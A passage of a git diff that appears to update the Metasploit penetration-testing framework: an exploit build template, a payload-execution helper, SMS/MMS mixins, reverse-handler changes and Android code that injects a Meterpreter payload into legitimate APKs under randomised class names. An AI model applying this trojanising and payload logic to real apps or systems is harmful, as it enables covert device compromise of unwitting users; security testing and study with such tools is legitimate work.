$(ProjectName).$(PlatformShortName) + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\windows-lep-template.map + Windows + + + + + false + + + $(OutDir)\windows-lep-template.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\windows-lep-template\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\windows-lep-template.map + Windows + + + + + false + + + $(OutDir)\windows-lep-template.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\windows-lep-template\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\" + + + + + + + \ No newline at end of file diff --git a/external/source/win_kernel_common/kernel.c b/external/source/win_kernel_common/kernel.c index 070acf3322..0b578e3a1c 100755 --- a/external/source/win_kernel_common/kernel.c +++ b/external/source/win_kernel_common/kernel.c @@ -271,4 +271,11 @@ VOID destroy_anon_mapping(MemMapping* memMap) memMap->mapping = NULL; } } -} \ No newline at end of file +} + +DWORD execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} diff --git a/external/source/win_kernel_common/kernel.h b/external/source/win_kernel_common/kernel.h index 492b7a7ade..4d7d316931 100755 --- a/external/source/win_kernel_common/kernel.h +++ b/external/source/win_kernel_common/kernel.h @@ -19,5 +19,6 @@ BOOL create_anon_mapping(MemMapping* memMap); VOID destroy_anon_mapping(MemMapping* memMap); VOID invoke_hal_dispatch_pointer(); BOOL is_driver_loaded(wchar_t* driverName); +DWORD execute_payload(LPVOID lpPayload); #endif diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb index f58dcae9e2..071fbc92f7 100644 --- a/lib/metasploit/framework/community_string_collection.rb +++ b/lib/metasploit/framework/community_string_collection.rb @@ -59,6 +59,10 @@ module Metasploit end end + def empty? + prepended_creds.empty? && !pass_file.present? && !password.present? + end + # Add {Credential credentials} that will be yielded by {#each} # # @see prepended_creds diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index 4e4ba0cf10..1ddbdd2d73 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -207,9 +207,15 @@ class Metasploit::Framework::CredentialCollection # Returns true when #each will have no results to iterate def empty? - hasUser = username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? - hasPass = password.present? || pass_file.present? || userpass_file.present? ||!additional_privates.empty? || blank_passwords - prepended_creds.empty? && !hasUser || (hasUser && !hasPass) + prepended_creds.empty? && !has_users? || (has_users? && !has_privates?) + end + + def has_users? + username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? + end + + def has_privates? + password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords || user_as_pass end private diff --git a/lib/metasploit/framework/login_scanner/bavision_cameras.rb b/lib/metasploit/framework/login_scanner/bavision_cameras.rb index fe0e257e15..21167e3007 100644 --- a/lib/metasploit/framework/login_scanner/bavision_cameras.rb +++ b/lib/metasploit/framework/login_scanner/bavision_cameras.rb @@ -14,13 +14,13 @@ module Metasploit # Checks if the target is BAVision Camera's web server. The login module should call this. # - # @return [Boolean] TrueClass if target is SWG, otherwise FalseClass + # @return [String] Error message if target is not a BAVision camera, otherwise FalseClass def check_setup login_uri = normalize_uri("#{uri}") res = send_request({'uri'=> login_uri}) - if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) - return true + unless res && res.headers['WWW-Authenticate'] && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) + return "Unable to locate \"realm=IPCamera Login\" in headers. (Is this really a BAVision camera?)" end false diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index c2a6913643..338826fd2d 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.19" + VERSION = "4.14.3" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb index f95af2c253..11e1d4b677 100644 --- a/lib/msf/base/sessions/hwbridge.rb +++ b/lib/msf/base/sessions/hwbridge.rb @@ -157,6 +157,16 @@ class HWBridge < Rex::Post::HWBridge::Client console.disable_output = original end + # + # Loads the zigbee extension + # + def load_zigbee + original = console.disable_output + console.disable_output = true + console.run_single('load zigbee') + console.disable_output = original + end + # # Load custom methods provided by the hardware # diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index bcb592c97f..d17ee6edd7 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -536,6 +536,15 @@ class Meterpreter < Rex::Post::Meterpreter::Client end end + # + # Get a string representation of the architecture of the process in which the + # current session is running. This defaults to the same value of arch but can + # be overridden by specific meterpreter implementations to add support. + # + def native_arch + arch + end + # # Generate a binary suffix based on arch # diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb index db147a442d..f660361ad0 100644 --- a/lib/msf/base/sessions/meterpreter_python.rb +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -108,6 +108,10 @@ class Meterpreter_Python_Python < Msf::Sessions::Meterpreter unknown_error end + def native_arch + @native_arch ||= self.core.native_arch + end + def supports_ssl? false end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 46372750ea..984a4ad6cd 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -28,3 +28,5 @@ require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' +require 'msf/core/auxiliary/sms' +require 'msf/core/auxiliary/mms' diff --git a/lib/msf/core/auxiliary/mms.rb b/lib/msf/core/auxiliary/mms.rb new file mode 100644 index 0000000000..d5c7d0a50e --- /dev/null +++ b/lib/msf/core/auxiliary/mms.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +### +# +# The Msf::Auxiliary::Mms mixin allows you to send a text message +# including a media file. +# +## + +module Msf + module Auxiliary::Mms + + def initialize(info={}) + super + + register_options( + [ + OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), + OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptString.new('MMSSUBJECT', [false, 'The Email subject', '']), + OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), + OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), + OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), + OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]), + OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']), + OptString.new('TEXTMESSAGE', [true, 'The text message to send']), + OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']), + OptString.new('MMSFILECTYPE', [false, 'The attachment content type']) + ], Auxiliary::Mms) + + register_advanced_options( + [ + OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]), + OptString.new('HeloDdomain', [false, 'The domain to use for HELO', '']) + ], Auxiliary::Mms) + end + + + # Sends an MMS message to multiple numbers of the same service provider (carrier). + # + # @example This sends a text (including an attachment) via Gmail + # smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass) + # mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp) + # mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg') + # + # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param subject [String] MMS subject + # @param message [String] The text to send. + # @param attachment_path [String] Optional + # @param ctype [String] Optional + # + # @return [void] + def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil) + smtp = Rex::Proto::Mms::Model::Smtp.new( + address: datastore['SMTPADDRESS'], + port: datastore['SMTPPORT'], + username: datastore['SMTPUSERNAME'], + password: datastore['SMTPPASSWORD'], + login_type: datastore['SmtpLoginType'].to_sym, + from: datastore['SMTPFROM'], + ) + + carrier = datastore['MMSCARRIER'].to_sym + mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp) + mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype) + end + + end +end diff --git a/lib/msf/core/auxiliary/sms.rb b/lib/msf/core/auxiliary/sms.rb new file mode 100644 index 0000000000..7c15ac319c --- /dev/null +++ b/lib/msf/core/auxiliary/sms.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +### +# +# The Msf::Auxiliary::Sms mixin allows you to send a text message to +# multiple phones of the same carrier. A valid SMTP server is needed. +# +## + +module Msf + module Auxiliary::Sms + + def initialize(info={}) + super + + register_options( + [ + OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), + OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), + OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), + OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), + OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]), + OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']), + OptString.new('SMSMESSAGE', [true, 'The text message to send']) + ], Auxiliary::Sms) + + register_advanced_options( + [ + OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]), + OptString.new('HeloDdomain', [false, 'The domain to use for HELO', '']) + ], Auxiliary::Sms) + end + + + # Sends a text message to multiple numbers of the same service provider (carrier). + # + # @example This sends a text via Gmail + # smtp = Rex::Proto::Sms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass) + # sms = Rex::Proto::Sms::Client.new(carrier: :verizon, smtp_server: smtp) + # numbers = ['1112223333'] + # sms.send_text_to_phones(numbers, 'Hello from Gmail') + # + # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param message [String] The text to send. + # + # @return [void] + def send_text(phone_numbers, message) + smtp = Rex::Proto::Sms::Model::Smtp.new( + address: datastore['SMTPADDRESS'], + port: datastore['SMTPPORT'], + username: datastore['SMTPUSERNAME'], + password: datastore['SMTPPASSWORD'], + login_type: datastore['SmtpLoginType'].to_sym, + from: datastore['SMTPFROM'] + ) + + carrier = datastore['SMSCARRIER'].to_sym + sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp) + sms.send_text_to_phones(phone_numbers, message) + end + + end +end diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index e346d51867..d12fab912e 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -43,11 +43,11 @@ module Auxiliary::UDPScanner datastore['BATCHSIZE'].to_i end - def udp_sock(ip, port) - @udp_socks_mutex.synchronize do + def udp_socket(ip, port) + @udp_sockets_mutex.synchronize do key = "#{ip}:#{port}" - unless @udp_socks.key?(key) - @udp_socks[key] = + unless @udp_sockets.key?(key) + @udp_sockets[key] = Rex::Socket::Udp.create({ 'LocalHost' => datastore['CHOST'] || nil, 'LocalPort' => datastore['CPORT'] || 0, @@ -55,16 +55,16 @@ module Auxiliary::UDPScanner 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) - add_socket(@udp_socks[key]) + add_socket(@udp_sockets[key]) end - return @udp_socks[key] + return @udp_sockets[key] end end - def cleanup_udp_socks - @udp_socks_mutex.synchronize do - @udp_socks.each do |key, sock| - @udp_socks.delete(key) + def cleanup_udp_sockets + @udp_sockets_mutex.synchronize do + @udp_sockets.each do |key, sock| + @udp_sockets.delete(key) remove_socket(sock) sock.close end @@ -73,8 +73,8 @@ module Auxiliary::UDPScanner # Start scanning a batch of IP addresses def run_batch(batch) - @udp_socks = {} - @udp_socks_mutex = Mutex.new + @udp_sockets = {} + @udp_sockets_mutex = Mutex.new @udp_send_count = 0 @interval_mutex = Mutex.new @@ -122,7 +122,7 @@ module Auxiliary::UDPScanner resend_count = 0 sock = nil begin - sock = udp_sock(ip, port) + sock = udp_socket(ip, port) sock.send(data, 0) rescue ::Errno::ENOBUFS @@ -160,7 +160,7 @@ module Auxiliary::UDPScanner queue = [] start = Time.now while Time.now - start < timeout do - readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout) + readable, _, _ = ::IO.select(@udp_sockets.values, nil, nil, timeout) if readable for sock in readable res = sock.recvfrom(65535, timeout) @@ -186,7 +186,7 @@ module Auxiliary::UDPScanner end end - cleanup_udp_socks + cleanup_udp_sockets queue.each do |q| scanner_process(*q) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 25fa8f2823..ae9b020021 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -287,24 +287,19 @@ class Exploit < Msf::Module # to the information hash. super(info) - # Skip this whole routine if there are no targets - unless info['Targets'].nil? - # Add an Automatic Target to the Exploit if it doesn't have one - unless has_auto_target?(info['Targets']) - # Don't add the automatic target unless there's already more than one target to pick from - if info['Targets'].count > 1 - # Finally, only add the target if there is a remote host option - if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index) - auto = ["Automatic", { 'AutoGenerated' => true}] - info['Targets'].unshift(auto) - end - end + self.default_target = info['DefaultTarget'] || 0 + + # Add an auto-target to the exploit if it doesn't have one + if info['Targets'] && info['Targets'].count > 1 && !has_auto_target?(info['Targets']) + # Finally, only add the target if there is a remote host option + if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index) + auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])] + info['Targets'].unshift(auto) end end self.targets = Rex::Transformer.transform(info['Targets'], Array, [ Target ], 'Targets') - self.default_target = info['DefaultTarget'] || 0 self.payload_info = info['Payload'] || {} self.successful = false self.session_count = 0 diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 0a44e926de..439b23bb72 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -463,10 +463,17 @@ module Exploit::Remote::HttpClient end # Returns the complete URI as string including the scheme, port and host - def full_uri + def full_uri(custom_uri = nil) uri_scheme = ssl ? 'https' : 'http' - uri_port = rport.to_s == '80' ? '' : ":#{rport}" - uri = normalize_uri(target_uri.to_s) + + if (rport == 80 && !ssl) || (rport == 443 && ssl) + uri_port = '' + else + uri_port = ":#{rport}" + end + + uri = normalize_uri(custom_uri || target_uri.to_s) + "#{uri_scheme}://#{rhost}#{uri_port}#{uri}" end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 4876d78554..14d77f7601 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -160,7 +160,7 @@ module Exploit::Remote::HttpServer filter_request_uri(cli, req) ) ? nil : on_request_uri(cli, req) }, - 'Path' => resource_uri + 'Path' => opts['Path'] || resource_uri }.update(opts['Uri'] || {}) proto = (datastore["SSL"] ? "https" : "http") @@ -490,6 +490,19 @@ module Exploit::Remote::HttpServer host end + # + # Returns the local port that is being listened on. + # + def srvport + if datastore['URIPORT'] + port = datastore['URIPORT'] + else + port = datastore['SRVPORT'] + end + + port + end + # # Removes a URI resource. # diff --git a/lib/msf/core/exploit/http/wordpress/uris.rb b/lib/msf/core/exploit/http/wordpress/uris.rb index 73fbbc77b8..c18511a113 100644 --- a/lib/msf/core/exploit/http/wordpress/uris.rb +++ b/lib/msf/core/exploit/http/wordpress/uris.rb @@ -92,7 +92,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs # @return [String] Wordpress Admin Update URL def wordpress_url_admin_update normalize_uri(wordpress_url_backend, 'update.php') - end + end # Returns the Wordpress wp-content dir URL # @@ -129,4 +129,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs normalize_uri(target_uri.path, 'xmlrpc.php') end + # Returns the Wordpress REST API URL + # + # @return [String] Wordpress REST API URL + def wordpress_url_rest_api + normalize_uri(target_uri.path, 'index.php/wp-json/wp/v2') + end + end diff --git a/lib/msf/core/exploit/http/wordpress/version.rb b/lib/msf/core/exploit/http/wordpress/version.rb index 3561534b49..0e7128f929 100644 --- a/lib/msf/core/exploit/http/wordpress/version.rb +++ b/lib/msf/core/exploit/http/wordpress/version.rb @@ -3,7 +3,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version # Used to check if the version is correct: must contain at least one dot - WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)' + WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)' # Extracts the Wordpress version information from various sources # @@ -107,10 +107,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version private def wordpress_version_helper(url, regex) - res = send_request_cgi( + res = send_request_cgi!({ 'method' => 'GET', 'uri' => url - ) + }, 3.5) if res match = res.body.match(regex) return match[1] if match diff --git a/lib/msf/core/exploit/php_exe.rb b/lib/msf/core/exploit/php_exe.rb index 8dd0b0b6ee..6ee0d10b51 100644 --- a/lib/msf/core/exploit/php_exe.rb +++ b/lib/msf/core/exploit/php_exe.rb @@ -52,14 +52,13 @@ module Exploit::PhpEXE end p = Rex::Text.encode_base64(generate_payload_exe) php = %Q{ - error_reporting(0); + #{php_preamble} $ex = "#{bin_name}"; $f = fopen($ex, "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); chmod($ex, 0777); function my_cmd($cmd) { - #{php_preamble} #{php_system_block}; } if (FALSE === strpos(strtolower(PHP_OS), 'win' )) { diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a99147dd1c..a062435bcc 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -430,7 +430,6 @@ module Msf window.onload = function() { var osInfo = os_detect.getVersion(); var d = { - "os_name" : osInfo.os_name, "os_vendor" : osInfo.os_vendor, "os_device" : osInfo.os_device, "ua_name" : osInfo.ua_name, @@ -439,7 +438,8 @@ module Msf "java" : misc_addons_detect.getJavaVersion(), "silverlight" : misc_addons_detect.hasSilverlight(), "flash" : misc_addons_detect.getFlashVersion(), - "vuln_test" : <%= js_vuln_test %> + "vuln_test" : <%= js_vuln_test %>, + "os_name" : osInfo.os_name }; <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> @@ -501,7 +501,7 @@ module Msf %Q| diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 7d9b496c55..58ef0e19c7 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -23,6 +23,16 @@ module Msf ) end + def is_loopback_address?(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a + rescue + end + false + end + # A list of addresses to attempt to bind, in preferred order. # # @return [Array] a two-element array. The first element will be @@ -32,11 +42,18 @@ module Msf def bind_addresses # Switch to IPv6 ANY address if the LHOST is also IPv6 addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has # something else listening on that interface. Try again with ANY_ADDR. any = (addr.length == 4) ? "0.0.0.0" : "::0" + addr = Rex::Socket.addr_ntoa(addr) - addrs = [ Rex::Socket.addr_ntoa(addr), any ] + # Checking if LHOST is a loopback address + if is_loopback_address?(addr) + print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?") + end + + addrs = [ addr, any ] if not datastore['ReverseListenerBindAddress'].to_s.empty? # Only try to bind to this specific interface @@ -87,10 +104,8 @@ module Msf print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false - via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") - break end end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2458acb839..637cc6a544 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -59,6 +59,7 @@ module ReverseHttp OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), + OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']), OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', 'It works!']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) @@ -91,6 +92,7 @@ module ReverseHttp # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req=nil) callback_host = nil + callback_scheme = nil # Extract whatever the client sent us in the Host header if req && req.headers && req.headers['Host'] @@ -103,6 +105,7 @@ module ReverseHttp if datastore['OverrideRequestHost'] || callback_host.nil? callback_host = datastore['OverrideLHOST'] callback_port = datastore['OverrideLPORT'] + callback_scheme = datastore['OverrideScheme'] end if callback_host.nil? || callback_host.empty? @@ -113,6 +116,10 @@ module ReverseHttp callback_port = datastore['LPORT'] end + if callback_scheme.nil? || callback_scheme.empty? + callback_scheme = scheme + end + if Rex::Socket.is_ipv6? callback_host callback_host = "[#{callback_host}]" end @@ -122,9 +129,9 @@ module ReverseHttp end if callback_port - "#{scheme}://#{callback_host}:#{callback_port}" + "#{callback_scheme}://#{callback_host}:#{callback_port}" else - "#{scheme}://#{callback_host}" + "#{callback_scheme}://#{callback_host}" end end @@ -412,4 +419,3 @@ end end end - diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 6e8294b78a..9b17e68aa2 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -54,15 +54,9 @@ module Msf::Payload::Android transports: opts[:transport_config] || [transport_config(opts)] } - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - result = config.to_b - - result[0] = "\x01" if opts[:stageless] - result - end - - def string_sub(data, placeholder="", input="") - data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length)) + config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b + config[0] = "\x01" if opts[:stageless] + config end def sign_jar(jar) @@ -98,14 +92,18 @@ module Msf::Payload::Android end def generate_jar(opts={}) + config = generate_config(opts) if opts[:stageless] classes = MetasploitPayloads.read('android', 'meterpreter.dex') + # Add stageless classname at offset 8000 + config += "\x00" * (8000 - config.size) + config += 'com.metasploit.meterpreter.AndroidMeterpreter' else classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') end - config = generate_config(opts) - string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) + config += "\x00" * (8195 - config.size) + classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config) jar = Rex::Zip::Jar.new files = [ diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 087bc4e0e3..bb7d04ae8b 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -35,9 +35,14 @@ class Msf::Payload::Apk end end - # Find the activity that is opened when you click the app icon - def find_launcher_activity(amanifest) + # Find a suitable smali point to hook + def find_hook_point(amanifest) package = amanifest.xpath("//manifest").first['package'] + application = amanifest.xpath('//application') + application_name = application.attribute("name") + if application_name + return application_name.to_s + end activities = amanifest.xpath("//activity|//activity-alias") for activity in activities activityname = activity.attribute("targetActivity") @@ -68,7 +73,7 @@ class Msf::Payload::Apk } end - def fix_manifest(tempdir, package) + def fix_manifest(tempdir, package, main_service, main_broadcast_receiver) #Load payload's manifest payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") payload_permissions = payload_manifest.xpath("//manifest/uses-permission") @@ -78,6 +83,8 @@ class Msf::Payload::Apk original_permissions = original_manifest.xpath("//manifest/uses-permission") old_permissions = [] + add_permissions = [] + original_permissions.each do |permission| name = permission.attribute("name").to_s old_permissions << name @@ -87,21 +94,26 @@ class Msf::Payload::Apk payload_permissions.each do |permission| name = permission.attribute("name").to_s unless old_permissions.include?(name) - print_status("Adding #{name}") - if original_permissions.empty? - application.before(permission.to_xml) - original_permissions = original_manifest.xpath("//manifest/uses-permission") - else - original_permissions.before(permission.to_xml) - end + add_permissions += [permission.to_xml] + end + end + add_permissions.shuffle! + for permission_xml in add_permissions + print_status("Adding #{permission_xml}") + if original_permissions.empty? + application.before(permission_xml) + original_permissions = original_manifest.xpath("//manifest/uses-permission") + else + original_permissions.before(permission_xml) end end application = original_manifest.at_xpath('/manifest/application') receiver = payload_manifest.at_xpath('/manifest/application/receiver') service = payload_manifest.at_xpath('/manifest/application/service') - receiver.attributes["name"].value = package + receiver.attributes["name"].value - service.attributes["name"].value = package + service.attributes["name"].value + receiver.attributes["name"].value = package + '.' + main_broadcast_receiver + receiver.attributes["label"].value = main_broadcast_receiver + service.attributes["name"].value = package + '.' + main_service application << receiver.to_xml application << service.to_xml @@ -110,7 +122,7 @@ class Msf::Payload::Apk def parse_orig_cert_data(orig_apkfile) orig_cert_data = Array[] - keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") + keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'") owner_line = keytool_output.match(/^Owner:.+/)[0] orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_data.push("#{orig_cert_dname}") @@ -185,24 +197,22 @@ class Msf::Payload::Apk amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") print_status "Locating hook point..\n" - launcheractivity = find_launcher_activity(amanifest) - unless launcheractivity - raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n" - end - smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali" + hookable_class = find_hook_point(amanifest) + smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali" smalifiles = Dir.glob(smalifile) for smalifile in smalifiles if File.readable?(smalifile) - activitysmali = File.read(smalifile) + hooksmali = File.read(smalifile) + break end end - unless activitysmali - raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n" + unless hooksmali + raise RuntimeError, "Unable to find hook point in #{smalifile}\n" end entrypoint = 'return-void' - unless activitysmali.include? entrypoint + unless hooksmali.include? entrypoint raise RuntimeError, "Unable to find hookable function in #{smalifile}\n" end @@ -212,6 +222,10 @@ class Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" + classes = {} + classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize + classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize + classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize package_slash = package.gsub(/\./, "/") print_status "Adding payload as package #{package}\n" payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") @@ -221,15 +235,22 @@ class Msf::Payload::Apk # Copy over the payload files, fixing up the smali code payload_files.each do |file_name| smali = File.read(file_name) - newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash) - newfilename = "#{payload_dir}#{File.basename file_name}" - File.open(newfilename, "wb") {|file| file.puts newsmali } + smali_class = 